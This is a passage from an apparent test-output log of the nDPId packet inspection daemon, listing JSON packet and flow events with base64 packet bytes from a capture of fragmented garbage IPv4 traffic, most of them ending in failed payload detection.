failed","thread_id":0,"packet_id":624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5473,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00366{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5485,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiomXiUkI0Aj"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1534244025305,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9253,"dst_port":24102,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305644,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiQlXiYqKComXiUkI3JzZGy7owAA"} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305666,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305679,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305742,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305804,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305829,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305841,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305867,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305879,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305914,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305965,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":305989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306063,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306075,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306087,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306111,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306131,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306144,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 